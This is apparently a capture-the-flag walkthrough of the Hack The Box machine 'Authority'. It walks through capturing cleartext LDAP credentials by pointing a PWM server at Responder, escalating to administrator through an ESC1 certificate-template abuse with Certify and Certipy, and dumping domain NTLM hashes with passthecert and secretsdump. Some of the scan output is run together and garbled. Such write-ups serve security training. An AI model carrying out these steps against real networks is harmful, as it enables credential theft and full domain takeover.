This is a Windows Server 2019 machine running Active Directory Certificate Services (AD CS). There are several Ansible Vault hashes in a shared resource that permits guest sessions. Once cracked, we get passwords for a web password self-service application for LDAP directories called PWM. This tool sends LDAP queries that we capture with Responder to get a clear text password. With this we get initial foothold and collect the user flag. Regarding escalation, a vulnerable template is found in the AD CS configuration that allows domain computers to enroll certificates. We abuse this in several ways with Impacket, Certify, Certipy and the passthecert.py script.
KEYWORDS
Active Directory Certificate Services (AD CS), Ansible Vault, LDAP, PWM 2.0.3, Responder, ESC1, Impacket, addcomputer.py, Certify, Certipy, passthecert.py.
>for ports in $(nmap $target -p---min-rate=5000-Pn--open--reason|grepopen|awk-F"/"'{print $1}'|tr'\n'','|seds/,$//); donmap $target -p$ports-sV-sC-Pn-vv-n&&echo"\nList of open ports: $ports.";doneStartingNmap7.93 ( https://nmap.org ) at 2025-01-05 17:35 ESTNmapscanreportfor10.10.11.222Hostisup,receiveduser-set (0.054s latency).Scannedat2025-01-0517:35:29ESTfor160sPORTSTATESERVICEREASONVERSION53/tcpopendomain?syn-ack80/tcpopenhttpsyn-ackMicrosoftIIShttpd10.0|_http-server-header:Microsoft-IIS/10.0|http-methods:|SupportedMethods:OPTIONSTRACEGETHEADPOST|_Potentiallyriskymethods:TRACE|_http-title:IISWindowsServer88/tcpopenkerberos-secsyn-ackMicrosoftWindowsKerberos (server time:2025-01-0602:37:40Z)135/tcpopenmsrpcsyn-ackMicrosoftWindowsRPC139/tcpopennetbios-ssnsyn-ackMicrosoftWindowsnetbios-ssn389/tcpopenldapsyn-ackMicrosoftWindowsActiveDirectoryLDAP (Domain: authority.htb,Site:Default-First-Site-Name)|ssl-cert:Subject:|SubjectAlternativeName:othername:UPN::AUTHORITY$@htb.corp,DNS:authority.htb.corp,DNS:htb.corp,DNS:HTB|Issuer:commonName=htb-AUTHORITY-CA/domainComponent=htb|PublicKeytype:rsa|PublicKeybits:2048|SignatureAlgorithm:sha256WithRSAEncryption|Notvalidbefore:2022-08-09T23:03:21|Notvalidafter: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l-date:2025-01-06T02:40:18+00:00; +4h02m10sfromscannertime.445/tcpopenmicrosoft-ds?syn-ack464/tcpopenkpasswd5?syn-ack593/tcpopenncacn_httpsyn-ackMicrosoftWindowsRPCoverHTTP1.0636/tcpopenssl/ldapsyn-ackMicrosoftWindowsActiveDirectoryLDAP (Domain: authority.htb,Site:Default-First-Site-Name)|ssl-cert:Subject:|SubjectAlternativeName:othername:UPN::AUTHORITY$@htb.corp,DNS:authority.htb.corp,DNS:htb.corp,DNS:HTB|Issuer:commonName=htb-AUTHORITY-CA/domainComponent=htb|PublicKeytype:rsa|PublicKeybits:2048|SignatureAlgorithm:sha256WithRSAEncryption|Notvalidbefore:2022-08-09T23:03:21|Notvalidafter:2024-08-09T23:13:21|MD5:d49477106f6b8100e4e19cf2aa40dae1|SHA-1:ddedb994b80c83a9db0be7d35853ff8e54c62d0b|-----BEGINCERTIFICATE-----|MIIFxjCCBK6gAwIBAgITPQAAAANt51hU5N024gAAAAAAAzANBgkqhkiG9w0BAQsF|ADBGMRQwEgYKCZImiZPyLGQBGRYEY29ycDETMBEGCgmSJomT8ixkARkWA2h0YjEZ|MBcGA1UEAxMQaHRiLUFVVEhPUklUWS1DQTAeFw0yMjA4MDkyMzAzMjFaFw0yNDA4|MDkyMzEzMjFaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVsJL0|ae0n8L0Eg5BAHi8Tmzmbe+kIsXM6NZvAuqGgUsWNzsT4JNWsZqrRoHMr+kMC4kpX|4QuOHTe74iyB8TvucgvwxKEi9uZl6C5unv3WNFhZ9KoTOCno26adxqKPbzS5KQtk|ZCvQfqQKOML0DuzA86kwh4uY0SjVR+biRj4IkkokWrPDWzzow0gCpO5HNcKPhSTl|kAfdmdQRPjkXQq3h2QnfYAwOMGoGeCiA1whIo/dvFB6T9Kx4Vdcwi6Hkg4CwmbSF|CHGbeNGtMGeWw/s24QWZ6Ju3J7uKFxDXoWBNLi4THL72d18jcb+i4jYlQQ9bxM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QEBCwUAA4IBAQCH8O6l8pRsA/pyKKsSSkie8ijDhCBo|zoOuHiloC694xvs41w/Yvj9Z0oLiIkroSFPUPTDZOFqOLuFSDbnDNtKamzfbSfJR|r4rj3F3r7S3wwK38ElkoD8RbqDiCHan+2bSf7olB1AdS+xhp9IZvBWZOlT0xXjr5|ptIZERSRTRE8qyeX7+I4hpvGTBjhvdb5LOnG7spc7F7UHk79Z+C3BWG19tyS4fw7|/9jm2pW0Maj1YEnX7frbYtYlO7iQ3KeDw1PSCMhMlipovbCpMJ1YOX9yeQgvvcg0|E0r8uQuHmwNTgD5dUWuHtDv/oG7j63GuTNwEfZhtzR2rnN9Vf2IH9Zal|_-----ENDCERTIFICATE-----|_ssl-date:2025-01-06T02:40:19+00:00; +4h02m10sfromscannertime.3268/tcpopenldapsyn-ackMicrosoftWindowsActiveDirectoryLDAP (Domain: authority.htb,Site:Default-First-Site-Name)|_ssl-date:2025-01-06T02:40:18+00:00; +4h02m10sfromscannertime.|ssl-cert:Subject:|SubjectAlternativeName:othername:UPN::AUTHORITY$@htb.corp,DNS:authority.htb.corp,DNS:htb.corp,DNS:HTB|Issuer:commonName=htb-AUTHORITY-CA/domainComponent=htb|PublicKeytype:rsa|PublicKeybits:2048|SignatureAlgorithm:sha256WithRSAEncryption|Notvalidbefore:2022-08-09T23:03:21|Notvalidafter:2024-08-09T23:13:21|MD5:d49477106f6b8100e4e19cf2aa40dae1|SHA-1:ddedb994b80c83a9db0be7d35853ff8e54c62d0b|-----BEGINCERTIFICATE-----|MIIFxjCCBK6gAwIBAgITPQAAAANt51hU5N024gAAAAAAAzANBgkqhkiG9w0BAQsF|ADBGMRQwEgYKCZImiZPyLGQBGRYEY29ycDETMBEGCgmSJomT8ixkARkWA2h0YjEZ|MBcGA1UEAxMQaHRiLUFVVEhPUklUWS1DQTAeFw0yMjA4MDkyMzAzMjFaFw0yNDA4|MDkyMzEzMjFaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQ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YXA6Ly8vQ049aHRiLUFVVEhPUklUWS1DQSxDTj1BSUEsQ049UHVibGljJTIw|S2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1o|dGIsREM9Y29ycD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlm|aWNhdGlvbkF1dGhvcml0eTBUBgNVHREBAf8ESjBIoCMGCisGAQQBgjcUAgOgFQwT|QVVUSE9SSVRZJEBodGIuY29ycIISYXV0aG9yaXR5Lmh0Yi5jb3JwgghodGIuY29y|cIIDSFRCMA0GCSqGSIb3DQEBCwUAA4IBAQCH8O6l8pRsA/pyKKsSSkie8ijDhCBo|zoOuHiloC694xvs41w/Yvj9Z0oLiIkroSFPUPTDZOFqOLuFSDbnDNtKamzfbSfJR|r4rj3F3r7S3wwK38ElkoD8RbqDiCHan+2bSf7olB1AdS+xhp9IZvBWZOlT0xXjr5|ptIZERSRTRE8qyeX7+I4hpvGTBjhvdb5LOnG7spc7F7UHk79Z+C3BWG19tyS4fw7|/9jm2pW0Maj1YEnX7frbYtYlO7iQ3KeDw1PSCMhMlipovbCpMJ1YOX9yeQgvvcg0|E0r8uQuHmwNTgD5dUWuHtDv/oG7j63GuTNwEfZhtzR2rnN9Vf2IH9Zal|_-----ENDCERTIFICATE-----3269/tcpopenssl/ldapsyn-ackMicrosoftWindowsActiveDirectoryLDAP (Domain: authority.htb,Site:Default-First-Site-Name)|_ssl-date:2025-01-06T02:40:19+00:00; +4h02m10sfromscannertime.|ssl-cert:Subject:|SubjectAlternativeName:othername:UPN::AUTHORITY$@htb.corp,DNS:authority.htb.corp,DNS:htb.corp,DNS:HTB|Issuer:commonName=htb-AUTHORITY-CA/domainComponent=htb|PublicKeytype:rsa|PublicKeybits:2048|SignatureAlgorithm:sha256WithRSAEncryption|Notvalidbefore:2022-08-09T23:03:21|Notvalidafter:2024-08-09T23:13:21|MD5:d49477106f6b8100e4e19cf2aa40dae1|SHA-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)|_http-server-header:Microsoft-HTTPAPI/2.0|_http-title:NotFound8443/tcpopenssl/https-altsyn-ack|fingerprint-strings:|FourOhFourRequest,GetRequest:|HTTP/1.1200|Content-Type:text/html;charset=ISO-8859-1|Content-Length:82|Date:Mon,06Jan202502:37:47GMT|Connection:close|<html><head><meta http-equiv="refresh"content="0;URL='/pwm'"/></head></html>|HTTPOptions:|HTTP/1.1200|Allow:GET,HEAD,POST,OPTIONS|Content-Length:0|Date:Mon,06Jan202502:37:47GMT|Connection:close|RTSPRequest:|HTTP/1.1400|Content-Type:text/html;charset=utf-8|Content-Language:en|Content-Length:1936|Date:Mon,06Jan202502:37:53GMT|Connection:close|<!doctypehtml><htmllang="en"><head><title>HTTPStatus400|Request</title><style type="text/css">body{font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 |_Request</h1><hrclass="line" /><p><b>Type</b>ExceptionReport</p><p><b>Message</b>InvalidcharacterfoundintheHTTPprotocol [RTSP/1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid|_ssl-date:TLSrandomnessdoesnotrepresenttime|http-methods:|_SupportedMethods:GETHEADPOSTOPTIONS|_http-title:Sitedoesn't have a title (text/html;charset=ISO-8859-1).| ssl-cert: Subject: commonName=172.16.2.118| Issuer: commonName=172.16.2.118| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-01-04T01:20:49| Not valid after: 2027-01-06T12:59:13| MD5: 379bb41b9fedfa7b70b6a559976f8c95| SHA-1: 9aa00d8aab647ebac22eee40a065af10bcbcd906| -----BEGIN CERTIFICATE-----| MIIC5jCCAc6gAwIBAgIGEmrYYCGRMA0GCSqGSIb3DQEBCwUAMBcxFTATBgNVBAMM| DDE3Mi4xNi4yLjExODAeFw0yNTAxMDQwMTIwNDlaFw0yNzAxMDYxMjU5MTNaMBcx| FTATBgNVBAMMDDE3Mi4xNi4yLjExODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC| AQoCggEBANUbKhP4L/6I9VWaGSRlTzTHQ7RFKHGdF4UxSeBHHG6iuCEp6SiKJSVf| WWQNxo26EPz922GFPZ+Wfcg3AzFaB2ELP3lyF2decBxcxYQVDBk0M1RXm/boJbSf| qbGa5D1/6RPIL0RpqwfKMIK6ZMWkVSyLO3Jvm9VXXqFng4dFeAL02HWCPgU0bVVG| MLpp/5vid4r45q7EWKZ1PsC6IMGINiuAm5hBnhcsru2gYpXM7U0CZzode1601Xdo| Eb7PN6PC1hYsjapIdaejh6uR39sIjTABfKQjzkVeQBO+/mJHE+g3r7yfAHcDCLGs| cr1FdGfNnOY/Ot1RaUR7B622WNJwF0cCAwEAAaM4MDYwDAYDVR0TAQH/BAIwADAO| BgNVHQ8BAf8EBAMCBaAwFgYDVR0lAQH/BAwwCgYIKwYBBQUHAwEwDQYJKoZIhvcN| AQELBQADggEBAIcrZVxQP7zljO8ldoGCvZeDTfuN71bF/q4MvBr0qWZ2hhNHi6yb| Q5pYXKWthWLBdEcvveyNf3bhEYBxdfmRUnAP/+nTvkDoz3LN1vTk2mmTtNtWbcoi| IWPUv3mJyJQJsuVjWjXNwr1HxWqFQBH/OVytc/09l5ma9FoKqrbPOzTpUPiFC03l| B35rH+g7b8CSh82ekMCKzXF4zK1n2HOJBuT2o1wnCDH6/3eBFEC6WzYuEUEq6Y86| 7PyKPzBWiWGMPoOR4mtXPuDBTJjVvUH3o5EcvD9sMKrofN/RjrAXh7MHsXTE3Ram| PrnbFGkMg3tSxMrNKwTsyxT0FigtCuwQpk0=|_-----END CERTIFICATE-----|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF99389/tcp open mc-nmf syn-ack .NET Message Framing47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.049664/tcp open msrpc syn-ack Microsoft Windows RPC49665/tcp open msrpc syn-ack Microsoft Windows RPC49666/tcp open msrpc syn-ack Microsoft Windows RPC49667/tcp open msrpc syn-ack Microsoft Windows RPC49673/tcp open msrpc syn-ack Microsoft Windows RPC49690/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.049691/tcp open msrpc syn-ack Microsoft Windows RPC49693/tcp open msrpc syn-ack Microsoft Windows RPC49694/tcp open msrpc syn-ack Microsoft Windows RPC49697/tcp open msrpc syn-ack Microsoft Windows RPC49708/tcp open msrpc syn-ack Microsoft Windows RPC62268/tcp open msrpc syn-ack Microsoft Windows RPC62280/tcp open msrpc syn-ack Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=1/5%Time=677B093D%P=x86_64-pc-linux-gnuSF:%r(GetRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;chSF:arset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Mon,\x2006\x20JanSF:\x202025\x2002:37:47\x20GMT\r\nConnection:\x20close\r\n\r\n\n\n\n\n\n<hSF:tml><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;URL='/pwm'\"/>SF:</head></html>")%r(HTTPOptions,7D,"HTTP/1\.1\x20200\x20\r\nAllow:\x20GESF:T,\x20HEAD,\x20POST,\x20OPTIONS\r\nContent-Length:\x200\r\nDate:\x20MonSF:,\x2006\x20Jan\x202025\x2002:37:47\x20GMT\r\nConnection:\x20close\r\n\rSF:\n")%r(FourOhFourRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20tSF:ext/html;charset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Mon,\xSF:2006\x20Jan\x202025\x2002:37:47\x20GMT\r\nConnection:\x20close\r\n\r\n\SF:n\n\n\n\n<html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;URLSF:='/pwm'\"/></head></html>")%r(RTSPRequest,82C,"HTTP/1\.1\x20400\x20\r\nSF:Content-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r\nSF:Content-Length:\x201936\r\nDate:\x20Mon,\x2006\x20Jan\x202025\x2002:37:SF:53\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20lanSF:g=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20RSF:equest</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma,ASF:rial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background-SF:color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\xSF:20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:blacSF:k;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</stSF:yle></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20ReSF:quest</h1><hr\x20class=\"line\"\x20/><p><b>Type</b>\x20Exception\x20RepSF:ort</p><p><b>Message</b>\x20Invalid\x20character\x20found\x20in\x20the\SF:x20HTTP\x20protocol\x20\[RTSP/1\.00x0d0x0a0x0d0x0a\.\.\.\]</p><p><bSF:>Description</b>\x20The\x20server\x20cannot\x20or\x20will\x20not\x20proSF:cess\x20the\x20request\x20due\x20to\x20something\x20that\x20is\x20perceSF:ived\x20to\x20be\x20a\x20client\x20error\x20\(e\.g\.,\x20malformed\x20rSF:equest\x20syntax,\x20invalid\x20");Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time: | date: 2025-01-06T02:40:04|_ start_date: N/A| smb2-security-mode: | 311: |_ Message signing enabled and required|_clock-skew: mean: 4h02m09s, deviation: 0s, median: 4h02m09s| p2p-conficker: | Checking for Conficker.C or higher...| Check 1 (port 35741/tcp): CLEAN (Couldn'tconnect)|Check2 (port 64473/tcp): CLEAN (Couldn't connect)| Check 3 (port 45856/udp): CLEAN (Timeout)| Check 4 (port 10773/udp): CLEAN (Failed to receive data)|_ 0/4 checks are positive: Host is CLEAN or ports are blockedNmap done: 1 IP address (1 host up) scanned in 160.94 secondsList of open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001,49664,49665,49666,49667,49673,49690,49691,49693,49694,49697,49708,62268,62280.
Inspecting the contents, we find several Ansible hashes in the file /automation/ansible/pwm/defaults/main.yaml
Ansible is an open-source automation tool for configuration management, application deployment and tasks automation. It uses YAML playbooks to define the desired state of a system and then executes the tasks to achieve that state.
Ansible Vault is a feature within Ansible that allows users to encrypt confidential data, such as passwords and keys. It is done within their playbooks and provides an additional security layer to Ansible deployments
USER
Proceed and crack the Ansible hashes. For this, first convert the hashes to a crackable format with ansible2john.py.
The decrypted data are passwords that we can use in the PWM web service running on port 8443.
Go back to the PWM web interface and click on "Configuration manager", then login with password pWm_@dm!N_!23
In the welcome page we see the application is reporting is a problem with LDAP connection.
Let's investigate in the "Configuration editor" (click on the arrow on top right corner) to see if we can see what is happening. In the LDAP settings we see we can change the connection URL, that currently points to an internal LDAPS 636 port.
Modify the URL to point to your Kali machine via standard non-secure LDAP protocol (port 389).
Then start a rogue Responder server. Make sure it is capturing LDAP requests.
Back on the PWM interface click on "Test LDAP profile". A list of warnings appears.
Inspect the Responder output, a request containing clear text credentials svc_ldap:lDaP_1n_th3_cle4r! has been captured.
Use them to connect to the host with Evil-WinRM.
And use the shell to collect the user flag.
SYSTEM
Start from the svc_ldap shell and take the opportunity to enumerate the system.
>Get-ComputerInfoWindowsBuildLabEx : 17763.1.amd64fre.rs5_release.180914-1434WindowsCurrentVersion : 6.3WindowsProductName : Windows Server 2019 StandardWindowsVersion : 1809
And the user permissions.
> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State==================================================================SeMachineAccountPrivilege Add workstations to domain EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabled
It seems the user is allowed to add workstations to the domain. This can be done with Impacket's addcomputer.py
AD CS enumeration and subsequent exploitation can be done locally, from Windows, with Certify and Rubeus. Or it can be done remotely, from Linux, with Certipy and Impacket. We will start the enumeration locally with Certify, then continue exploitation remotely with Certipy and Impacket.
Transfer a copy of Certify.exe to the victim and run it enumerate vulnerabilities.
> .\certify.exe find /vulnerable_________/____||| (_)/_|||______||__||___||/_ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0[*] Action: Find certificate templates[*] Using the search base 'CN=Configuration,DC=authority,DC=htb'[*] Listing info about the Enterprise CA 'AUTHORITY-CA' Enterprise CA Name : AUTHORITY-CA DNS Hostname : authority.authority.htb FullName : authority.authority.htb\AUTHORITY-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=AUTHORITY-CA, DC=authority, DC=htb Cert Thumbprint : 42A80DC79DD9CE76D032080B2F8B172BC29B0182 Cert Serial : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4 Cert Start Date : 4/23/2023 9:46:26 PM Cert End Date : 4/23/2123 9:56:25 PM Cert Chain : CN=AUTHORITY-CA,DC=authority,DC=htb UserSpecifiedSAN : Disabled CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512 Allow ManageCA, ManageCertificates HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519 Enrollment Agent Restrictions : None[!] Vulnerable Certificates Templates : CA Name : authority.authority.htb\AUTHORITY-CA Template Name : CorpVPN Schema Version : 2 Validity Period : 20 years Renewal Period : 6 weeks msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email mspki-certificate-application-policy : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email Permissions Enrollment Permissions Enrollment Rights : HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512 HTB\Domain Computers S-1-5-21-622327497-3269355298-2248959698-515 HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519 Object Control Permissions Owner : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500 WriteOwner Principals : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500 HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512 HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519 WriteDacl Principals : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500 HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512 HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519 WriteProperty Principals : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500 HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512 HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519Certify completed in 00:00:10.5249114
The tool reports that HTB\Domain Computers have enrollment rights.
This means we can request and obtain a digital certificate from the Certificate Authority (CA) on behalf of anyone using the computer account we have just created.
As indicated, we can enumerate this also remotely with Certipy. The tool identifies the vulnerability as ESC1, following the white paper terminology.
PKINIT is a pre-authentication mechanism for Kerberos that enables the use of x.509 certificates as a valid method for pre-authentication. In other words, it allows requesting TGTs and NT hashes with certificates.
Fortunately, Certipy also supports LDAP authentication with the -ldap-shell option and the recently created certificate. This results in a shell with limited options, including one to add users to a group.
Just add user svc_ldap to Administrators group and login again with Evil-WinRM.
# add_user_to_group svc_ldap administrators
Adding user: svc_ldap to group administrators result: OK
# exit
Bye!
Verify user is now an administrator.
You are root.
APPENDIX: PASSTHECERT
After adding the computer account and request the certificate, we can take a different path using the passthecert.py script instead of Certipy.
This script provides LDAP certificate authentication to two Impacket scripts: addcomputeer.py and rcbd.py, since Impacket does not support certificate authentication by default. The combination of both Impacket scripts and passthecert.py allow to manage domain computers and perform RCBD attacks by means of certificate authentication, and this is useful when PKINIT is not supported.
Let's follow the script instructions and try different attacks. First step is to extract the public certificate and the private key from the .pfx certificate.
> certipy cert -pfx administrator_authority.pfx -nokey -out administrator_authority.crtCertipyv4.8.2-byOliverLyak (ly4k)[*] Writing certificate and to 'administrator_authority.crt'>certipycert-pfxadministrator_authority.pfx-nocert-outadministrator_authority.keyCertipyv4.8.2-byOliverLyak (ly4k)[*] Writing private key to 'administrator_authority.key'
Now we can try to modify administrator password and login with the new one.
Once delegation rights have been written into the attribute, the computer account can do anything on behalf of administrator. For example, ask for a service ticket impersonating administrator.
That can be later used to dump secrets with Impacket.
>export KRB5CCNAME=Administrator.ccache> python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -k -no-pass authority.htb/Administrator@authority.authority.htb -just-dc-ntlmImpacketv0.10.0-Copyright2022SecureAuthCorporation[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:815fe0602456b443c45ac1b507d4684d